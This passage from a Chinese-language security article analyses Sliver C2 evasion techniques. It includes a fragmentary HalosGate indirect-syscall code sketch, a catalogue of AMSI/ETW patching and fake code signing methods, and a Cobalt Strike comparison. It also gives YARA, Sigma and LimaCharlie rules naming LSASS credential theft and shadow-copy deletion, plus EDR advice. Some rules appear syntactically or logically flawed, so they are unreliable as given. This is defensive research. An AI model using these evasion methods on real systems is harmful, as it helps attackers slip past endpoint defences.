| 5 | 字符串混淆(XOR 0x42) | 敏感字符串XOR 0x42加密,运行时解密 | 静态字符串提取 |
| 6 | 虚拟机检测 | 检测VMware/VBox/Hyper-V特征 | 沙箱分析环境 |
| 7 | PEB参数伪造 | 修改PEB中的BeingDebugged/ProcessParameters | 调试器检测 |
SysWhispers3 HalosGate间接syscall核心逻辑:
// === HalosGate 间接Syscall ===
// 当目标SSN (System Service Number) 被EDR Hook时,
// 通过寻找相邻未Hook的SSN, 逐步" Halo"跳转到目标
DWORD FindSsnViaHalosGate(DWORD targetSyscallHash) {
// 哈希种子
DWORD seed = 0x9DEA8D94;
// 从ntdll的syscall stub区域开始扫描
BYTE* ntdllSyscalls = GetSyscallStubBase();
for (int halo = 1; halo < 500; halo++) {
// 向相邻偏移查找未Hook的syscall
// Hook通常表现为: mov r10,rcx; mov eax, SSN; jmp hook
// 未Hook的: mov r10,rcx; mov eax, SSN; syscall
DWORD neighborHash = ror13_with_seed(neighborName, seed);
if (neighborHash == targetSyscallHash) {
WORD neighborSsn = ExtractSsn(ntdllSyscalls + offset);
// HalosGate: 目标SSN = 邻居SSN ± halo偏移
WORD targetSsn = neighborSsn + halo;
return targetSsn;
}
}
return -1;
}
// 间接syscall执行: 不经过ntdll, 直接syscall指令
__asm__(
"indirect_syscall:\n"
" mov r10, rcx\n" // Windows x64 syscall约定
" mov eax, %[ssn]\n" // SSN放入eax
" syscall\n" // 直接发起syscall, 绕过ntdll Hook
" ret\n"
);
7.2 ScareCrow委托5项技术
攻击者将载荷交给ScareCrow工具处理,由ScareCrow应用以下5项技术:
| # | 技术 | ScareCrow处理 |
|---|---|---|
| 8 | 签名伪造 | 申请欺诈性代码签名证书 |
| 9 | 加载器注入 | 将shellcode注入合法签名EXE |
| 10 | AMSI补丁 | 内嵌AMSI bypass |
| 11 | ETW补丁 | 内嵌ETW bypass |
| 12 | 反沙箱 | 延迟执行+环境检测 |
7.3 ScareCrow原生3项技术
ScareCrow自身原生的3项PE层规避技术:
| # | 技术 | 原理 | 规避目标 |
|---|---|---|---|
| 13 | 熵值标准化 | 调整PE节区熵值至正常范围(6.5-7.0) | 熵值异常检测(高熵=加壳) |
| 14 | 时间戳操纵 | 伪造编译时间戳为过去日期 | 时间线异常检测 |
| 15 | 欺诈性VMware代码签名 | 使用伪造的VMware签名 | 签名验证检测 |
┌──────────────────────────────────────────────────────────────────┐
│ 15层规避技术栈全景 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ 层级 技术 来源 │
│ ────────── ────────────────────── ────────── │
│ [1] SysWhispers3 HalosGate 自定义 │
│ [2] 调用栈伪造 自定义 │
│ [3] 进程幽灵化 自定义 │
│ [4] Heaven's Gate 自定义 │
│ [5] 字符串混淆 (XOR 0x42) 自定义 │
│ [6] 虚拟机检测 自定义 │
│ [7] PEB参数伪造 自定义 │
│ │ │
│ ▼ 委托ScareCrow处理 │
│ [8] 签名伪造 ScareCrow委托 │
│ [9] 加载器注入 ScareCrow委托 │
│ [10] AMSI补丁 ScareCrow委托 │
│ [11] ETW补丁 ScareCrow委托 │
│ [12] 反沙箱 ScareCrow委托 │
│ │ │
│ ▼ ScareCrow原生PE处理 │
│ [13] 熵值标准化 ScareCrow原生 │
│ [14] 时间戳操纵 ScareCrow原生 │
│ [15] 欺诈性VMware代码签名 ScareCrow原生 │
│ │
└──────────────────────────────────────────────────────────────────┘
八、与Cobalt Strike规避能力对比
Sliver与Cobalt Strike作为红队最常用的两个C2框架,其规避能力因底层语言和架构差异而呈现显著不同。
8.1 系统性对比表
| 维度 | Sliver | Cobalt Strike | 优势方 |
|---|---|---|---|
| 底层语言 | Go | C/C++ | CS (规避更灵活) |
| 开源属性 | 完全开源 | 闭源商业 | Sliver (可审计/定制) |
| Sleep Mask机制 | 外部Kit + inline hook | 内置BEACON_SLEEP_MASK回调 | CS (集成度更高) |
| 睡眠Hook层级 | 必须NT层(NtWaitForSingleObject) | Win32层(kernel32!Sleep) | CS (更易实现) |
| IAT特征 | Go运行时IAT庞大且特征明显 | C IAT精简可控 | CS |
| 二进制大小 | ~10-15MB (Go运行时) | ~300KB | CS |
| PIC shellcode | Crystal Palace Kit (受限) | Artifact Kit (成熟) | CS |
| Stack Spoofing | Go运行时冲突,不可用 | 可用 | CS |
| 内存Mask | Go goroutine冲突,受限 | 可用 | CS |
| 间接Syscall | 需自定义(SysWhispers3) | 可集成 | 持平 |
| 多操作员协作 | 原生支持 | Team Server | 持平 |
| 传输协议 | mTLS/HTTP(S)/DNS/WireGuard | HTTP(S)/DNS/SMB/TCP | Sliver (WireGuard) |
| 检测特征丰富度 | Go元数据/构建信息 | 有限(闭源) | CS (更难检测) |
| 社区Kit生态 | SliverC2-Evasion-Suite | Artifact Kit系列 | CS (更成熟) |
8.2 Go运行时的双刃剑效应
Go运行时对Sliver的规避能力既是助力也是桎梏:
┌──────────────────────────────────────────────────────────────┐
│ Go运行时的双刃剑效应 │
├──────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────── 助力 (优势) ──────────────┐ │
│ │ • 不调用kernel32!Sleep → 绕过Win32 Hook │ │
│ │ • 直接syscall → 部分NT Hook失效 │ │
│ │ • 协程模型 → 并发通信隐蔽 │ │
│ │ • 跨平台编译 → 一套代码多平台 │ │
│ └──────────────────────────────────────────┘ │
│ │ │
│ Go Runtime │ (同时) │
│ ▼ │
│ ┌─────────────── 桎梏 (劣势) ──────────────┐ │
│ │ • 10ms抢占 → IAT Hook不可用 │ │
│ │ • Goroutine并发 → Memory Mask崩溃 │ │
│ │ • 自管理栈 → Stack Spoofing不可用 │ │
│ │ • 10-15MB体积 → 内存特征明显 │ │
│ │ • Go元数据 → 不可绕过的指纹 │ │
│ │ • IAT庞大 → 静态特征丰富 │ │
│ └──────────────────────────────────────────┘ │
│ │
│ 结论: Go运行时使Sliver获得了部分天然规避能力, │
│ 但同时锁死了多种高级规避技术的实现路径 │
│ │
└──────────────────────────────────────────────────────────────┘
8.3 Sleep Mask实现路径差异
┌──────────────────────────────────────────────────────────────┐
│ Sleep Mask 实现路径对比 │
├──────────────────────────────────────────────────────────────┤
│ │
│ Cobalt Strike: │
│ Beacon睡眠 → kernel32!Sleep ──Hook──► Sleep Mask代码 │
│ ↑ ↓ │
│ └──── 内置BEACON_SLEEP_MASK回调 ◄── 加密/解密 │
│ (Aggressor Script, 集成度高) │
│ │
│ Sliver: │
│ Implant睡眠 → NtWaitForSingleObject ──Inline Hook──► │
│ ↑ (NT层, 绕过Win32) ↓ │
│ └── 外部Sleep Mask Kit ◄── 12字节JMP跳板 │
│ (需自行安装hook, 集成度低) │
│ │
│ 差异总结: │
│ • CS: Hook Win32层, 内置回调, 集成简单 │
│ • Sliver: Hook NT层, 外部Kit, 实现复杂但更隐蔽 │
│ │
└──────────────────────────────────────────────────────────────┘
九、检测规则
针对Sliver及其规避套件,以下是多层次的检测规则。
9.1 YARA检测规则
# === YARA规则: Sliver C2及规避套件检测 ===
# 规则1: ScareCrow Go Loader检测
rule ScareCrow_Go_Loader {
meta:
description = "检测ScareCrow生成的Go Loader"
author = "Security Research"
date = "2024-01-01"
severity = "high"
strings:
// ScareCrow特征字符串
$sc1 = "ScareCrow" ascii nocase
$sc2 = "github.com/optiv/ScareCrow" ascii
// Go运行时特征
$go1 = "Go buildID" ascii
$go2 = "runtime.main" ascii
$go3 = "go.buildid" ascii
// AMSI/ETW补丁特征字节
$amsi_patch = { 33 C0 C3 } // xor eax,eax; ret
$etw_patch = { C3 } // ret (需上下文验证)
// 加密配置区特征
$config = "ScareCrow_Config" ascii
condition:
// ScareCrow特征 或 (Go运行时 + AMSI补丁 + 配置区)
($sc1 or $sc2) or
(3 of ($go*) and $amsi_patch and $config)
}
# 规则2: 欺诈性VMware代码签名证书检测
rule Fraudulent_VMware_Code_Signing {
meta:
description = "检测使用欺诈性VMware签名证书的二进制"
author = "Security Research"
severity = "critical"
strings:
// VMware签名证书特征
$vmware_cert1 = "VMware, Inc." ascii
$vmware_cert2 = "CN=VMware" ascii
$vmware_cert3 = "VeriSign Class 3 Code Signing" ascii
// 证书异常: 序列号或有效期不匹配
$fake_serial = "00 00 00 00 00 00 00 00 00 00" hex
condition:
// 多个VMware证书特征同时出现 + 可疑序列号
2 of ($vmware_cert*) and $fake_serial
}
# 规则3: UPX加壳Sliver变体检测
rule UPX_Packed_Sliver {
meta:
description = "检测UPX加壳的Sliver Implant变体"
author = "Security Research"
severity = "high"
strings:
// UPX加壳特征
$upx1 = "UPX0" ascii
$upx2 = "UPX1" ascii
$upx3 = "UPX!" ascii
$upx4 = "UPX - www.upx.sourceforge.net" ascii
// Sliver Go特征 (加壳后部分残留)
$sliver1 = "sliver" ascii nocase
$sliver2 = "github.com/bishopfox/sliver" ascii
condition:
// UPX特征 + Sliver特征
(3 of ($upx*)) and
($sliver1 or $sliver2)
}
# 规则4: NCSC UK Sliver植入体检测规则
rule NCSC_UK_Sliver_Implant {
meta:
description = "NCSC UK发布的Sliver植入体检测规则"
author = "NCSC UK"
reference = "https://www.ncsc.gov.uk/"
severity = "high"
strings:
// Sliver C2通信特征
$s1 = "sliver" ascii nocase
$s2 = "implant" ascii nocase
// Sliver HTTP(S) C2特征
$http1 = "SliverHTTPC2" ascii
$http2 = "/sliver.flag" ascii
// WireGuard特征
$wg1 = "WireGuard" ascii
$wg2 = "wireguard-go" ascii
// Go编译特征
$go_build = "Go cmd/compile" ascii
$go_runtime = "runtime.go" ascii
// Sliver特有函数符号
$func1 = "github.com/bishopfox/sliver/implant" ascii
$func2 = "github.com/bishopfox/sliver/server" ascii
condition:
// Sliver标识 + (HTTP或WireGuard特征) + Go编译特征
($s1 or $func1 or $func2) and
($http1 or $http2 or $wg1 or $wg2) and
($go_build or $go_runtime)
}
9.2 Sigma检测规则
# === Sigma规则: sihost.exe出站HTTPS连接 (最高置信度锚点) ===
title: Sliver C2 Implant via sihost.exe Outbound HTTPS Connection
id: 7a1f3b2c-9d8e-4f5a-b6c7-1e2d3f4a5b6c
status: experimental
description: >
检测sihost.exe发起的出站HTTPS连接。Sliver Implant常通过进程注入
或PPID伪造在sihost.exe中运行,该进程正常情况下不应发起外部网络连接。
这是检测Sliver活动的最高置信度行为锚点。
references:
- https://github.com/BishopFox/sliver
- https://attack.mitre.org/techniques/T1071/001/
author: Security Research
date: 2024/01/01
tags:
- attack.command_and_control
- attack.t1071.001
- attack.t1055 # Process Injection
logsource:
product: windows
service: sysmon
detection:
selection:
Image|endswith: '\sihost.exe'
DestinationPort: 443
Initiated: 'true'
filter_legitimate:
# 排除已知合法的sihost.exe连接 (如有)
DestinationIp|cidr:
- '127.0.0.0/8'
- '::1/128'
condition: selection and not filter_legitimate
falsepositives:
- 极少, sihost.exe正常不发起外部HTTPS连接
level: critical
9.3 LimaCharlie检测规则
# === LimaCharlie检测规则 ===
# 规则1: LSASS访问 (凭据窃取)
- detect:
event: OPEN_PROCESS
target: lsass.exe
op: and
rules:
- op: is process_name
path: event/*/PROCESS_NAME
value: "*"
- op: is target
path: event/*/TARGET_NAME
value: "lsass.exe"
respond:
- action: report
name: Sliver_LSASS_Access
metadata:
severity: high
description: "Sliver Implant访问LSASS, 可能进行凭据窃取"
# 规则2: VSS删除 (勒索/反取证)
- detect:
event: PROCESS_CREATE
op: and
rules:
- op: is
path: event/*/COMMAND_LINE
value: "*vssadmin delete shadows*"
- op: is
path: event/*/COMMAND_LINE
value: "*wbadmin delete catalog*"
respond:
- action: report
name: Sliver_VSS_Deletion
metadata:
severity: critical
description: "卷影副本删除, 反取证行为"
# 规则3: 内存YARA检测 (运行时扫描)
- detect:
event: YARA_MATCH
op: or
rules:
- op: is
path: event/*/RULE_NAME
value: "Sliver_Implant"
- op: is
path: event/*/RULE_NAME
value: "ScareCrow_Loader"
respond:
- action: report
name: Sliver_Memory_Detection
metadata:
severity: critical
description: "内存中检测到Sliver C2特征"
9.4 检测覆盖总结表
| 检测层 | 规则 | 检测对象 | 置信度 | 绕过难度 |
|---|---|---|---|---|
| YARA-文件 | ScareCrow_Go_Loader | ScareCrow Loader文件 | 高 | 中 (重建) |
| YARA-文件 | Fraudulent_VMware_Code_Signing | 欺诈签名证书 | 极高 | 高 |
| YARA-文件 | UPX_Packed_Sliver | UPX加壳变体 | 中 | 低 (换壳) |
| YARA-文件 | NCSC_UK_Sliver_Implant | Sliver植入体 | 高 | 中 |
| YARA-内存 | Sliver_Implant (内存扫描) | 运行时内存特征 | 中 | 高 (Sleep Mask) |
| Sigma | sihost.exe出站HTTPS | 行为异常 | 极高 | 中 |
| LimaCharlie | LSASS访问 | 凭据窃取 | 高 | 中 |
| LimaCharlie | VSS删除 | 反取证 | 极高 | 低 |
十、防御建议
10.1 EDR配置建议表
| 配置项 | 建议值 | 理由 |
|---|---|---|
| 内存扫描阈值 | 扫描>15MB进程 | Sliver Implant通常10-15MB,体积是显著特征 |
| ETW监控 | 启用+监控补丁行为 | 检测ETW EventWrite被补丁为ret |
| AMSI监控 | 启用+监控补丁行为 | 检测AmsiScanBuffer前3字节覆写 |
| NT API Hook | Hook NtWaitForSingleObject | Sliver睡眠走NT层, Win32 Hook无效 |
| 间接Syscall检测 | 监控syscall指令来源 | 检测不经过ntdll的syscall |
| RWX内存检测 | 禁止/告警PAGE_EXECUTE_READWRITE | 合法代码应为RX, 非RWX |
| PEB完整性 | 监控PEB BeingDebugged字段 | 检测PEB参数伪造 |
| 栈回溯验证 | 启用ETW栈采样 | 检测调用栈伪造 |
10.2 行为检测建议表
| 检测规则 | 检测逻辑 | 适用场景 |
|---|---|---|
| sihost.exe出站连接 | sihost.exe发起任何外部网络连接 | Sliver注入sihost.exe (最高置信度) |
| RuntimeBroker父进程异常 | RuntimeBroker.exe父进程非svchost.exe | PPID伪造检测 |
| 进程注入特征 | NtWriteVirtualMemory跨进程写入 | Inject Kit检测 |
| AMSI补丁行为 | amsi.dll内存区域被写入 | Loader Kit AMSI绕过 |
| ETW补丁行为 | ntdll.dll!EtwEventWrite被写入 | Loader Kit ETW绕过 |
| 大体积Go二进制 | >8MB的Go编译EXE在非开发机执行 | Sliver Implant体积特征 |
| NtWaitForSingleObject Hook | ntdll前12字节被覆写为JMP | Sleep Mask Kit检测 |
| PPID伪造特征 | UpdateProcThreadAttribute + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS | Inject Kit PPID伪造 |
10.3 检测覆盖率缺口
尽管上述检测规则覆盖了多个层面,但仍存在以下覆盖率缺口:
┌──────────────────────────────────────────────────────────────────┐
│ 检测覆盖率缺口分析 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ 缺口1: 内存变体 (Sleep Mask加密期) │
│ ┌────────────────────────────────────────────┐ │
│ │ 问题: Sleep Mask在睡眠窗口加密内存, │ │
│ │ YARA内存扫描此时只能看到密文 │ │
│ │ 影响: 内存YARA规则在扫描窗口内失效 │ │
│ │ 缓解: 在Implant唤醒瞬间触发扫描 (竞争窗口) │ │
│ └────────────────────────────────────────────┘ │
│ │
│ 缺口2: 多态重建 (~8分钟周期) │
│ ┌────────────────────────────────────────────┐ │
│ │ 问题: 攻击者每~8分钟重建Sliver二进制, │ │
│ │ 哈希/静态特征持续变化 │ │
│ │ 影响: 基于文件哈希的检测完全失效 │ │
│ │ 缓解: 依赖行为检测而非静态特征 │ │
│ └────────────────────────────────────────────┘ │
│ │
│ 缺口3: Go构建元数据 (不可绕过) │
│ ┌────────────────────────────────────────────┐ │
│ │ 优势: Go编译器会嵌入不可移除的构建元数据 │ │
│ │ (Go版本、buildID、模块路径) │ │
│ │ 检测: 这些元数据是可靠指纹, 攻击者无法绕过 │ │
│ │ 注意: 需结合行为分析, 单独元数据可能误报 │ │
│ └────────────────────────────────────────────┘ │
│ │
│ 结论: │
│ • 静态特征检测 → 受多态重建影响, 需行为补充 │
│ • 内存扫描 → 受Sleep Mask影响, 需把握唤醒窗口 │
│ • 行为检测 → 最可靠, 但需覆盖sihost等关键锚点 │
│ • Go元数据 → 不可绕过的固有指纹, 是检测利器 │
│ │
└──────────────────────────────────────────────────────────────────┘
结语
Sliver C2及其SliverC2-Evasion-Suite展示了模块化规避技术的完整图景:从Loader Kit的AMSI/ETW绕过,到Sleep Mask Kit的NT层inline hook,再到Crystal Palace Kit的DFR无IAT shellcode和Inject Kit的PPID伪造——每个Kit都是一个可独立替换的模块,红队可按需组合形成定制化的规避能力栈。
然而,Sliver的Go运行时既是优势也是枷锁。它赋予了Sliver绕过Win32层Hook的天然能力,却也因10ms抢占调度、自管理栈和goroutine并发,锁死了IAT Hook、Stack Spoofing等高级规避技术的实现路径。这种"双刃剑效应"是Sliver与Cobalt Strike在规避能力上分道扬镳的根本原因。
对于防御方而言,关键认知在于:Go构建元数据是不可绕过的固有指纹,行为检测(尤其是sihost.exe出站连接这一最高置信度锚点)比静态特征更可靠,而内存扫描的有效性取决于能否在Sleep Mask的"唤醒窗口"内触发——这是一场时间与隐蔽性的赛跑。
防御箴言:不要依赖单一检测层。只有YARA文件扫描 + 内存YARA + ETW/AMSI监控 + 行为检测 + Go元数据指纹的多层叠加,才能有效覆盖Sliver的模块化规避技术栈。
参考来源:BishopFox Sliver官方文档、SliverC2-Evasion-Suite开源项目、SysWhispers3/HalosGate研究、ScareCrow工具、NCSC UK安全通告、Donut框架文档、AMSI/ETW绕过公开研究。
浙公网安备 33010602011771号